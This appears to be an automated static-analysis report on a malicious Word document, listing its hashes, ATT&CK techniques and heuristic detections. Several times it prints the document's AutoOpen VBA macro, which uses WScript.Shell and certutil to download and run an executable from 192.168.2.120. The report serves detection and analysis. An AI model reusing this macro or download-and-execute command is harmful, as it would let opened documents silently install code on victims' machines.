Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 11d7f8a12ef1f573…

MALICIOUS

Office (OOXML)

15.4 KB Created: 2021-06-03 14:32:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 888443bef81b96898c2367c97306cd5c SHA-1: 08d01e43cd64e63b6589b7335579a07e0d9cc1ed SHA-256: 11d7f8a12ef1f5737c47e0e4acbad6ff652d90d7f3d54c42217fd1e3332ae8ef
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen subroutine that utilizes WScript.Shell to execute a command. This command uses certutil to download a second-stage executable from 'http://192.168.2.120/ncat1.exe' and then executes it. This indicates a downloader or droppper functionality.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
     Set objShell = CreateObject("WScript.Shell")
 objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
     Set objShell = CreateObject("WScript.Shell")
 objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set objShell = CreateObject("WScript.Shell")
 objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
     Set objShell = CreateObject("WScript.Shell")
 objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/ncat1.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 539 bytes
SHA-256: 91108a8d16a73533ea11630617012db64315bc7426a5f435e04a7f8bc805776f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()

 Set objShell = CreateObject("WScript.Shell")
 objShell.Run "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.2.120/ncat1.exe c:\Users\win\ncat2.exe && c:\Users\win\ncat2.exe"


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: dcc788e9aaa22f0ae5592fca33d8fa9f92f8c838f116d9c1690dbb5e46431d49

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